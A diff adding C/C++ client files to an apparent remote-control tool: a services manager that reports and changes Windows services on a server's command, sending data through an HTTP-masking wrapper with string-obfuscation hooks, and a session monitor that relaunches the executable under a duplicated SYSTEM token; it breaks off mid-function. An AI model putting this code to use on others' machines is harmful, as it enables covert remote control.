# 查看状态(应该显示 STOPPED)
|
||||
sc query RemoteControlService
|
||||
|
||||
# 启动服务
|
||||
net start RemoteControlService
|
||||
|
||||
# 再次查看状态(应该显示 RUNNING)
|
||||
sc query RemoteControlService
|
||||
*/
|
||||
|
||||
// 自定义服务信息
|
||||
void InitWindowsService(MyService info, ServiceLogFunc log);
|
||||
|
||||
// 以Windows服务模式运行程序
|
||||
BOOL RunAsWindowsService(int argc, const char* argv[]);
|
||||
|
||||
// 检查服务状态
|
||||
// 参数:
|
||||
// registered - 输出参数,服务是否已注册
|
||||
// running - 输出参数,服务是否正在运行
|
||||
// exePath - 输出参数,服务可执行文件路径(可为NULL)
|
||||
// exePathSize - exePath缓冲区大小
|
||||
// 返回: 成功返回TRUE
|
||||
BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
|
||||
char* exePath, size_t exePathSize);
|
||||
|
||||
// 简单启动服务
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServiceWrapper_StartSimple(void);
|
||||
|
||||
// 运行服务(作为服务主入口)
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServiceWrapper_Run(void);
|
||||
|
||||
// 停止服务 0- 成功,其他值-错误码
|
||||
int ServiceWrapper_Stop(void);
|
||||
|
||||
// 安装服务
|
||||
BOOL ServiceWrapper_Install(void);
|
||||
|
||||
// 卸载服务
|
||||
BOOL ServiceWrapper_Uninstall(void);
|
||||
|
||||
// 服务工作线程
|
||||
DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SERVICE_WRAPPER_H */
|
||||
308
client/ServicesManager.cpp
Normal file
308
client/ServicesManager.cpp
Normal file
@@ -0,0 +1,308 @@
|
||||
// ServicesManager.cpp: implementation of the CServicesManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "Common.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CServicesManager::CServicesManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
SendServicesList();
|
||||
}
|
||||
|
||||
CServicesManager::~CServicesManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
VOID CServicesManager::SendServicesList()
|
||||
{
|
||||
LPBYTE szBuffer = GetServicesList();
|
||||
if (szBuffer == NULL) {
|
||||
char buf[128];
|
||||
sprintf_s(buf, "Get service list failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("服务管理", buf);
|
||||
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
|
||||
return;
|
||||
}
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
#ifndef skCrypt
|
||||
#define skCrypt(p) p
|
||||
#endif
|
||||
|
||||
LPBYTE CServicesManager::GetServicesList()
|
||||
{
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
|
||||
LPBYTE szBuffer = NULL;
|
||||
char szRunWay[256] = {0};
|
||||
char szAutoRun[256] = {0};
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
|
||||
|
||||
if (ServicesStatus==NULL) {
|
||||
CloseServiceHandle(m_hscManager);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD dwNeedsBytes = 0;
|
||||
DWORD dwServicesCount = 0;
|
||||
DWORD dwResumeHandle = 0;
|
||||
EnumServicesStatus(m_hscManager,
|
||||
SERVICE_WIN32, //CTL_FIX
|
||||
SERVICE_STATE_ALL,
|
||||
(LPENUM_SERVICE_STATUS)ServicesStatus,
|
||||
64 * 1024,
|
||||
&dwNeedsBytes,
|
||||
&dwServicesCount,
|
||||
&dwResumeHandle);
|
||||
|
||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
|
||||
if (szBuffer == NULL)
|
||||
return NULL;
|
||||
szBuffer[0] = TOKEN_SERVERLIST;
|
||||
dwOffset = 1;
|
||||
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务
|
||||
SC_HANDLE hServices = NULL;
|
||||
DWORD nResumeHandle = 0;
|
||||
|
||||
hServices=OpenService(m_hscManager,ServicesStatus[i].lpServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
|
||||
if (hServices==NULL) {
|
||||
continue;
|
||||
}
|
||||
|
||||
ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024);
|
||||
if (ServicesInfor == NULL)
|
||||
continue;
|
||||
QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle);
|
||||
//查询服务的启动类别
|
||||
|
||||
ZeroMemory(szRunWay, sizeof(szRunWay));
|
||||
switch (ServicesStatus[i].ServiceStatus.dwCurrentState) {
|
||||
case SERVICE_STOPPED: {
|
||||
lstrcatA(szRunWay, skCrypt("Stopped"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_START_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Start-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_STOP_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Stop-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_RUNNING: {
|
||||
lstrcatA(szRunWay, skCrypt("Running"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_CONTINUE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Continue-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSE_PENDING: {
|
||||
lstrcatA(szRunWay, skCrypt("Pause-Pending"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_PAUSED: {
|
||||
lstrcatA(szRunWay, skCrypt("Paused"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szRunWay, skCrypt("Unknown"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ZeroMemory(szAutoRun, sizeof(szAutoRun));
|
||||
switch (ServicesInfor->dwStartType) {
|
||||
case SERVICE_BOOT_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("Boot-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_SYSTEM_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("System-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_AUTO_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("Auto-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DEMAND_START: {
|
||||
lstrcatA(szAutoRun, skCrypt("Demand-Start"));
|
||||
break;
|
||||
}
|
||||
case SERVICE_DISABLED: {
|
||||
lstrcatA(szAutoRun, skCrypt("Disabled"));
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
lstrcatA(szAutoRun, skCrypt("Unknown"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName)
|
||||
+ lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName)
|
||||
+ lstrlen(szRunWay) + lstrlen(szAutoRun) + 1;
|
||||
// 缓冲区太小,再重新分配下
|
||||
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
if (szBuffer == NULL)
|
||||
continue;
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName,
|
||||
lstrlen(ServicesStatus[i].lpDisplayName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//真实名称
|
||||
|
||||
memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1);
|
||||
dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//显示名称
|
||||
|
||||
memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1);
|
||||
dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//路径
|
||||
|
||||
memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//运行状态
|
||||
dwOffset += lstrlen(szRunWay) + 1;
|
||||
|
||||
memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//自启动状态
|
||||
dwOffset += lstrlen(szAutoRun) + 1;
|
||||
|
||||
CloseServiceHandle(hServices);
|
||||
LocalFree(ServicesInfor); //Config
|
||||
}
|
||||
|
||||
CloseServiceHandle(m_hscManager);
|
||||
|
||||
LocalFree(ServicesStatus);
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_SERVICELIST:
|
||||
SendServicesList();
|
||||
break;
|
||||
case COMMAND_SERVICECONFIG: //其他操作
|
||||
ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bCommand = szBuffer[0];
|
||||
char *szServiceName = (char *)(szBuffer+1);
|
||||
|
||||
switch(bCommand) {
|
||||
case 1: { //start
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if (NULL != hSCManager) {
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
StartService(hService, NULL, NULL);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
|
||||
case 2: { //stop
|
||||
SC_HANDLE hSCManager =
|
||||
OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); //SC_MANAGER_CREATE_SERVICE
|
||||
if ( NULL != hSCManager) {
|
||||
SC_HANDLE hService = OpenService(hSCManager,
|
||||
szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SERVICE_STATUS Status;
|
||||
BOOL bOk = ControlService(hService,SERVICE_CONTROL_STOP,&Status);
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 3: { //auto
|
||||
SC_HANDLE hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
|
||||
if ( NULL != hSCManager ) {
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SC_LOCK sclLock=LockServiceDatabase(hSCManager);
|
||||
BOOL bOk = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case 4: { // DEMAND_START
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager ) {
|
||||
SC_HANDLE hService = OpenService(hSCManager, szServiceName, SERVICE_ALL_ACCESS);
|
||||
if ( NULL != hService ) {
|
||||
SC_LOCK sclLock = LockServiceDatabase(hSCManager);
|
||||
BOOL bOK = ChangeServiceConfig(
|
||||
hService,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock);
|
||||
CloseServiceHandle(hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
26
client/ServicesManager.h
Normal file
26
client/ServicesManager.h
Normal file
@@ -0,0 +1,26 @@
|
||||
// ServicesManager.h: interface for the CServicesManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||
#define AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
class CServicesManager : public CManager
|
||||
{
|
||||
public:
|
||||
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CServicesManager();
|
||||
VOID SendServicesList();
|
||||
LPBYTE GetServicesList();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||
SC_HANDLE m_hscManager;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||
539
client/SessionMonitor.c
Normal file
539
client/SessionMonitor.c
Normal file
@@ -0,0 +1,539 @@
|
||||
#include "SessionMonitor.h"
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <userenv.h>
|
||||
|
||||
#pragma comment(lib, "userenv.lib")
|
||||
|
||||
// 动态数组初始容量
|
||||
#define INITIAL_CAPACITY 4
|
||||
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
|
||||
|
||||
extern void MyLog(const char* file, int line, const char* format, ...);
|
||||
|
||||
// 前向声明
|
||||
static DWORD WINAPI MonitorThreadProc(LPVOID param);
|
||||
static void MonitorLoop(SessionMonitor* self);
|
||||
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId);
|
||||
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId);
|
||||
static void TerminateAllAgents(SessionMonitor* self);
|
||||
static void CleanupDeadProcesses(SessionMonitor* self);
|
||||
|
||||
// 动态数组辅助函数
|
||||
static void AgentArray_Init(AgentProcessArray* arr);
|
||||
static void AgentArray_Free(AgentProcessArray* arr);
|
||||
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info);
|
||||
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index);
|
||||
|
||||
// ============================================
|
||||
// 动态数组实现
|
||||
// ============================================
|
||||
|
||||
static void AgentArray_Init(AgentProcessArray* arr)
|
||||
{
|
||||
arr->items = NULL;
|
||||
arr->count = 0;
|
||||
arr->capacity = 0;
|
||||
}
|
||||
|
||||
static void AgentArray_Free(AgentProcessArray* arr)
|
||||
{
|
||||
if (arr->items) {
|
||||
free(arr->items);
|
||||
arr->items = NULL;
|
||||
}
|
||||
arr->count = 0;
|
||||
arr->capacity = 0;
|
||||
}
|
||||
|
||||
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info)
|
||||
{
|
||||
size_t newCapacity;
|
||||
AgentProcessInfo* newItems;
|
||||
|
||||
// 需要扩容
|
||||
if (arr->count >= arr->capacity) {
|
||||
newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
|
||||
newItems = (AgentProcessInfo*)realloc(
|
||||
arr->items, newCapacity * sizeof(AgentProcessInfo));
|
||||
if (!newItems) {
|
||||
return FALSE;
|
||||
}
|
||||
arr->items = newItems;
|
||||
arr->capacity = newCapacity;
|
||||
}
|
||||
|
||||
arr->items[arr->count] = *info;
|
||||
arr->count++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
if (index >= arr->count) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 将后面的元素前移
|
||||
for (i = index; i < arr->count - 1; i++) {
|
||||
arr->items[i] = arr->items[i + 1];
|
||||
}
|
||||
arr->count--;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 公开接口实现
|
||||
// ============================================
|
||||
|
||||
void SessionMonitor_Init(SessionMonitor* self)
|
||||
{
|
||||
self->monitorThread = NULL;
|
||||
self->running = FALSE;
|
||||
InitializeCriticalSection(&self->csProcessList);
|
||||
AgentArray_Init(&self->agentProcesses);
|
||||
}
|
||||
|
||||
void SessionMonitor_Cleanup(SessionMonitor* self)
|
||||
{
|
||||
SessionMonitor_Stop(self);
|
||||
DeleteCriticalSection(&self->csProcessList);
|
||||
AgentArray_Free(&self->agentProcesses);
|
||||
}
|
||||
|
||||
BOOL SessionMonitor_Start(SessionMonitor* self)
|
||||
{
|
||||
if (self->running) {
|
||||
Mprintf("Monitor already running");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("Starting session monitor...");
|
||||
|
||||
self->running = TRUE;
|
||||
self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
|
||||
|
||||
if (!self->monitorThread) {
|
||||
Mprintf("ERROR: Failed to create monitor thread");
|
||||
self->running = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Session monitor thread created");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void SessionMonitor_Stop(SessionMonitor* self)
|
||||
{
|
||||
if (!self->running) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("Stopping session monitor...");
|
||||
self->running = FALSE;
|
||||
|
||||
if (self->monitorThread) {
|
||||
WaitForSingleObject(self->monitorThread, 10000);
|
||||
SAFE_CLOSE_HANDLE(self->monitorThread);
|
||||
self->monitorThread = NULL;
|
||||
}
|
||||
|
||||
// 终止所有代理进程
|
||||
Mprintf("Terminating all agent processes...");
|
||||
TerminateAllAgents(self);
|
||||
|
||||
Mprintf("Session monitor stopped");
|
||||
Mprintf("========================================");
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 内部函数实现
|
||||
// ============================================
|
||||
|
||||
static DWORD WINAPI MonitorThreadProc(LPVOID param)
|
||||
{
|
||||
SessionMonitor* monitor = (SessionMonitor*)param;
|
||||
MonitorLoop(monitor);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void MonitorLoop(SessionMonitor* self)
|
||||
{
|
||||
int loopCount = 0;
|
||||
PWTS_SESSION_INFO pSessionInfo = NULL;
|
||||
DWORD dwCount = 0;
|
||||
DWORD i;
|
||||
BOOL foundActiveSession;
|
||||
DWORD sessionId;
|
||||
char buf[256];
|
||||
int j;
|
||||
|
||||
Mprintf("Monitor loop started");
|
||||
|
||||
while (self->running) {
|
||||
loopCount++;
|
||||
|
||||
// 清理已终止的进程
|
||||
CleanupDeadProcesses(self);
|
||||
|
||||
// 枚举所有会话
|
||||
pSessionInfo = NULL;
|
||||
dwCount = 0;
|
||||
|
||||
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
|
||||
&pSessionInfo, &dwCount)) {
|
||||
|
||||
foundActiveSession = FALSE;
|
||||
|
||||
for (i = 0; i < dwCount; i++) {
|
||||
if (pSessionInfo[i].State == WTSActive) {
|
||||
sessionId = pSessionInfo[i].SessionId;
|
||||
foundActiveSession = TRUE;
|
||||
|
||||
// 记录活动会话(每5次循环记录一次,避免日志过多)
|
||||
if (loopCount % 5 == 1) {
|
||||
sprintf(buf, "Active session found: ID=%d, Name=%s",
|
||||
(int)sessionId,
|
||||
pSessionInfo[i].pWinStationName);
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 检查代理是否在该会话中运行
|
||||
if (!IsAgentRunningInSession(self, sessionId)) {
|
||||
sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
if (LaunchAgentInSession(self, sessionId)) {
|
||||
Mprintf("Agent launched successfully");
|
||||
// 给进程一些时间启动
|
||||
Sleep(2000);
|
||||
} else {
|
||||
Mprintf("Failed to launch agent");
|
||||
}
|
||||
}
|
||||
|
||||
// 只处理第一个活动会话
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundActiveSession && loopCount % 5 == 1) {
|
||||
Mprintf("No active sessions found");
|
||||
}
|
||||
|
||||
WTSFreeMemory(pSessionInfo);
|
||||
} else {
|
||||
if (loopCount % 5 == 1) {
|
||||
Mprintf("WTSEnumerateSessions failed");
|
||||
}
|
||||
}
|
||||
|
||||
// 每10秒检查一次
|
||||
for (j = 0; j < 100 && self->running; j++) {
|
||||
Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("Monitor loop exited");
|
||||
}
|
||||
|
||||
static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
|
||||
{
|
||||
char currentExeName[MAX_PATH];
|
||||
char* pFileName;
|
||||
DWORD currentPID;
|
||||
HANDLE hSnapshot;
|
||||
PROCESSENTRY32 pe32;
|
||||
BOOL found = FALSE;
|
||||
DWORD procSessionId;
|
||||
|
||||
(void)self; // 未使用
|
||||
|
||||
// 获取当前进程的 exe 名称
|
||||
if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 获取文件名(不含路径)
|
||||
pFileName = strrchr(currentExeName, '\\');
|
||||
if (pFileName) {
|
||||
pFileName++;
|
||||
} else {
|
||||
pFileName = currentExeName;
|
||||
}
|
||||
|
||||
// 获取当前服务进程的 PID
|
||||
currentPID = GetCurrentProcessId();
|
||||
|
||||
// 创建进程快照
|
||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
||||
Mprintf("CreateToolhelp32Snapshot failed");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
if (Process32First(hSnapshot, &pe32)) {
|
||||
do {
|
||||
// 查找同名的 exe(ghost.exe)
|
||||
if (_stricmp(pe32.szExeFile, pFileName) == 0) {
|
||||
// 排除服务进程自己
|
||||
if (pe32.th32ProcessID == currentPID) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// 获取进程的会话ID
|
||||
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
|
||||
if (procSessionId == sessionId) {
|
||||
// 找到了:同名 exe,不同 PID,在目标会话中
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hSnapshot, &pe32));
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hSnapshot);
|
||||
return found;
|
||||
}
|
||||
|
||||
// 终止所有代理进程
|
||||
static void TerminateAllAgents(SessionMonitor* self)
|
||||
{
|
||||
char buf[256];
|
||||
size_t i;
|
||||
AgentProcessInfo* info;
|
||||
DWORD exitCode;
|
||||
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
|
||||
sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count);
|
||||
Mprintf(buf);
|
||||
|
||||
for (i = 0; i < self->agentProcesses.count; i++) {
|
||||
info = &self->agentProcesses.items[i];
|
||||
|
||||
sprintf(buf, "Terminating agent PID=%d (Session %d)",
|
||||
(int)info->processId, (int)info->sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查进程是否还在运行
|
||||
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
|
||||
if (exitCode == STILL_ACTIVE) {
|
||||
// 进程还在运行,终止
|
||||
if (!TerminateProcess(info->hProcess, 0)) {
|
||||
sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d",
|
||||
(int)info->processId, (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
} else {
|
||||
Mprintf("Agent terminated successfully");
|
||||
// 等待进程完全退出
|
||||
WaitForSingleObject(info->hProcess, 5000);
|
||||
}
|
||||
} else {
|
||||
sprintf(buf, "Agent PID=%d already exited with code %d",
|
||||
(int)info->processId, (int)exitCode);
|
||||
Mprintf(buf);
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
}
|
||||
|
||||
self->agentProcesses.count = 0; // 清空数组
|
||||
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
Mprintf("All agents terminated");
|
||||
}
|
||||
|
||||
// 清理已经终止的进程
|
||||
static void CleanupDeadProcesses(SessionMonitor* self)
|
||||
{
|
||||
size_t i;
|
||||
AgentProcessInfo* info;
|
||||
DWORD exitCode;
|
||||
char buf[256];
|
||||
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
|
||||
i = 0;
|
||||
while (i < self->agentProcesses.count) {
|
||||
info = &self->agentProcesses.items[i];
|
||||
|
||||
if (GetExitCodeProcess(info->hProcess, &exitCode)) {
|
||||
if (exitCode != STILL_ACTIVE) {
|
||||
// 进程已退出
|
||||
sprintf(buf, "Agent PID=%d exited with code %d, cleaning up",
|
||||
(int)info->processId, (int)exitCode);
|
||||
Mprintf(buf);
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
AgentArray_RemoveAt(&self->agentProcesses, i);
|
||||
continue; // 不增加 i,因为删除了元素
|
||||
}
|
||||
} else {
|
||||
// 无法获取退出代码,可能进程已不存在
|
||||
sprintf(buf, "Cannot query agent PID=%d, removing from list",
|
||||
(int)info->processId);
|
||||
Mprintf(buf);
|
||||
|
||||
SAFE_CLOSE_HANDLE(info->hProcess);
|
||||
AgentArray_RemoveAt(&self->agentProcesses, i);
|
||||
continue;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
}
|
||||
|
||||
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
|
||||
{
|
||||
char buf[512];
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hDupToken = NULL;
|
||||
HANDLE hUserToken = NULL;
|
||||
STARTUPINFO si;
|
||||
PROCESS_INFORMATION pi;
|
||||
LPVOID lpEnvironment = NULL;
|
||||
char exePath[MAX_PATH];
|
||||
char cmdLine[MAX_PATH + 20];
|
||||
DWORD fileAttr;
|
||||
BOOL result;
|
||||
AgentProcessInfo info;
|
||||
DWORD err;
|
||||
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
|
||||
sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId);
|
||||
Mprintf(buf);
|
||||
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
|
||||
|
||||
// 获取当前服务进程的 SYSTEM 令牌
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||
sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 复制为可用于创建进程的主令牌
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||
sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 修改令牌的会话 ID 为目标用户会话
|
||||
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||
sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Token duplicated");
|
||||
|
||||
// 获取当前进程路径(启动自己)
|
||||
if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
|
||||
Mprintf("GetModuleFileName failed");
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
sprintf(buf, "Service path: %s", exePath);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查文件是否存在
|
||||
